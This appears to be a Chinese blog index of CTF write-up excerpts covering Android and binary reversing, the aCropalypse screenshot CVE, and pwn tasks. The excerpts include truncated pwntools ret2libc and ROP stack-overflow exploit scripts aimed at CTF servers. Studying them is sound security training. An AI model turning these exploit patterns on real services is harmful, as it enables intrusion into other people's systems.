不知名的比赛题目
题目一:click_me.apk题目分析拿到题目先去看看功能,同时反编译:本次使用的是雷电模拟器9,安装后打开效果如下,这个效果很熟悉,连点嘛。
jadx反编译看逻辑:
先看一下Main类:
这里就是主要的部分了,这里其实就是逻辑点:
public final native String getFlag();
这里很明显,getFlag()在native层中,这里很明显可以想到,直接通过frida的脚本(js、python)直接进行截取就行,看看触发条件,这时其实已经猜的差不多了,应该时点击达到一定的数目,可以触发点击getflag按钮:
看看这里的两个方法,很搞笑,明显的对于CLICKS进行计数,可是还晃一下,文本框最多显示13371337下,实际需要达到99999999下,搞什么,当点击的数达到999999999下后,可以触发getFlag()函数。思路清晰,启动frida,显示在这个类中赋值给CLICKDS,然后点击按钮触发方法,截取flag:
脚本(这里就直接用js脚本,其实python脚本的格式要多多一点,但是操作简单)
Java.perform(function ...
‘[2024CISCN]androidso_re’
这是一到安卓逆向:学到的解题思路特别多:
androidso_re这一题拿到手就是一个apk文件,不过在进行测试的时候遇到了很多无语的事情(想在的题目质量是挺堪忧的)
安装好后一眼看上去就是一个判断输入内容得:
直接进行反编译,这里首先是:放入到jadx中
这里就是对于flag进行了判断,首先判断的是格式开头以及结尾“flag{}”,以及长度,32为位。中间的内容都在inspect函数中
紧跟着进入inspect函数:
这里返现其中是先进行DES的加密,之后又是进行了base64的加密,最终与”JqslHrdvtgJrRs2QAp+FEVdwRPNLswrnykD/sZMivmjGRKUMVIC/rw==”进行比较,比较后,如果一样就是输出”You are right.”,如果错了就是”You are wrong.”。
这里的关键就是这个key和IV的值。进一步跟进进入jni类:
静态的在native层,这里可以直接hook,得到iv与key的值。下面就是,在联想模拟器中用的版本是7.1的但是一旦进行判断就会终止程序。调制了一会发现少了一 ...
2024磐石SMC
“””这是关于上海的磐石行动的逆向题目:”””
今天天气怎么样题目分析这题目中给出的是一个32bit的程序。:
看看这到题,前面式一个正常的判断的过程,首先是输入一个字符串str是一个30长度的。flag的长度就是30,对输入的长度进行了判断,之后是一个crazy()函数,可已跟进去:
这里就是在进行奇偶进行减法和异或的操作偶数减去索引,奇数异或索引。
下面还有一个ohh函数:
这里就进行的了最后的判断这里与unk_4040C0进行对比:
提取出unk_4040C0的数据:
0x66, 0x6B, 0x63, 0x64, 0x7F, 0x63, 0x69, 0x70, 0x57, 0x60,
0x79, 0x54, 0x78, 0x5B, 0x6B, 0x50, 0x67, 0x54, 0x73, 0x61,
0x7C, 0x50, 0x64, 0x48, 0x6C, 0x56, 0x7E, 0x46, 0x65, 0x60
下面就是写出脚本进行处理:
def reverse_crazy(input_str): result = "" for i ...
’*CTF_snippingTools‘
MISC
这一题是一个前期的CVE漏洞,原因是因为WIN10、WIN11的截图问题。知道这个方向就可以继续了:
这里找到已经被别人写好了:不用手搓了,该漏洞(CVE-2023-28303)被称为aCropalypse,可以使恶意行为者恢复屏幕截图的部分内容,可能会泄露敏感信息。
在这里找到了一篇介绍复现的文章,直接找得到恢复的代码:
https://github.com/frankthetank-music/Acropalypse-Multi-Tool
这里直接进行安装运行就行其中可能会报错,但是可以直接注释掉:
这里就可以出了
[RCTF2021]welpwn
[RCTF2021]welpwn题目分析
这一题拿来测试LibcSearcher的,没感情,直接上EXP:
from pwn import *from LibcSearcher import *r = remote('61.147.171.105',63406)context(os = 'linux',log_level = "debug")pop_rdi = 0x4008a3pop_rsi = 0x4008a1pop_4 = 0x40089cmain_addr = 0x4007CDelf = ELF("./welpwn")puts_plt = elf.plt['puts']read_got = elf.got['read']r.recvuntil("Welcome to RCTF\n")payload = b'a' * 0x18 + p64(pop_4) + p64(pop_rdi) + p64(read_got) + p64 ...
‘[CISCN2019]东北PWN2’
[CISCN 2019东北]PWN2题目分析这题一看了一下正常的流程:
1、输入选项,进行加密,果然只能加密,差点以为直接字符串解密,冷静这是PWN
找到溢出点,很明显在输出加密结果的puts()函数有问题。同样无system与/bin/sh,这种题目的做法,找到泄露的函数地址,计算基址,加上偏移求接下来函数。
exp:(libc2)
from pwn import *from LibcSearcher import *elf = ELF('./PWN2')pro = remote('node1.anna.nssctf.cn',28490)ret_addr = 0x4006b9pop_rdi = 0x400c83en_addr = 0x4009a0puts_plt = elf.plt["puts"]puts_got = elf.got["puts"]payload = b'a'*0x58+p64(pop_rdi)+p64(puts_got) + p64(puts_ ...
[NISACTF 2022]ezstack
[NISACTF 2022]ezstack
read栈溢出
这题的特殊地点是:
/bin/sh并不是函数的形式:起初的想法是构造一个函数
后来了解到在PWN中并不需用,如果只是单纯的更改附件也只是本地打通,而远程的依然不通,所以这里应该有特殊的方法,之后去了解到:
https://blog.csdn.net/Mr_Fmnwon/article/details/130897024
后来发现自己的想法有误,在pwn 中无需这样只需要在运行动态链接时进行构造传入就行(可参考上文中博主的思考方法):
思考ret2text——没有直接后门函数
思考ret2shellcode——bss段/可执行段不符合条件、栈上nx保护
思考ret2syscall——file查看文件,是动态链接,一般来说gadget非常少,不太适合
思考ret2libc——存在system的plt表/got表信息,且存在栈溢出漏洞,可行。
经过一番了解进行构造payload:
from pwn import *elf = ELF('./pwn ...
[2021鹤城杯]babyof
[2021 鹤城杯]babyof题目分析#checksec babyof
寻找pop_rdi_ret地址:
ROPgadget --binary ./babyof --only "pop|ret"
objdump -d -j .plt ./babyof |grep system这里是用来查看plt表中所有调用的函数
知识点:ret2libc3—system /bin/sh 的寻址,计算libc基址
情况分为两种,libc版本已知,libc版本未知
这里有一个网址可以用来确定版本:
libc database search (blukat.me)
有libc库可以离线:
(14条消息) LibcSearcher–匹配libc版本的神器_Assassin__is__me的博客-CSDN博客
这题的题目环境有些问题,导致卡了很久,libc的版本问题
至于算基址的方法有很多,只需要根据所暴露的got plt的表中的函数地址,去算基址,以及所需要的system()execve() 这种系统级函数的地址,其中为什么需要libc的版本,是因为 ...
[BJDCTF 2020]babystack2.0
[BJDCTF 2020]babystack2.0分析
64位程序,开启了栈不可执行(NX)、部分RELRO保护(RELRO)
size_t 是一些C/C++标准在stddef.h中定义的,size_t 类型表示C中任何对象所能达到的最大长度,它是无符号整数。
它是为了方便系统之间的移植而定义的,不同的系统上,定义size_t 可能不一样。size_t在32位系统上定义为 unsigned int,也就是32位无符号整型。在64位系统上定义为 unsigned long ,也就是64位无符号整形。size_t 的目的是提供一种可移植的方法来声明与系统中可寻址的内存区域一致的长度。
size_t 在数组下标和内存管理函数之类的地方广泛使用。例如,size_t 用做sizeof 操作符的返回值类型,同时也是很多函数的参数类型,包括malloc 和strlen。
这里得到shellcode的地址add=0x400726
exp:
from pwn import *from LibcSearcher import *context(os = &quo ...
2022年春秋杯冬季赛-reindeer game
2022年春秋杯冬季赛-reindeer game工具准备: 1、 pyinstxtractor.py
2、uncompyle6
思路综述: 1、正常通过游戏;
2、①从python打包而成的exe入手;
②用pyinstxtractor.py工具拆包,拿到游戏的py源码;
③分析逻辑,找出得到flag的部分或者修改游戏胜利条件。
3、其他方法,可以尝试通过游戏修改器,更改关键数值(具体步骤本文并没有列出)。
详述:题目是一个驯鹿🦌吃姜饼的游戏:题目要求吃30个,不太擅长游戏的小伙伴可能很久都不能过关。
这一题很明显是用python写的游戏,并且用了pyinstaller 进行了打包:
接下来的思路就来了,拿到源py代码,不就随意发挥了,有打包工具就有拆包工(pyinstxtractor.py),注意这里的拆包工具,历史版本太多。
版本网址一:https://github.com/extremecoders-re/pyinstxtractor ...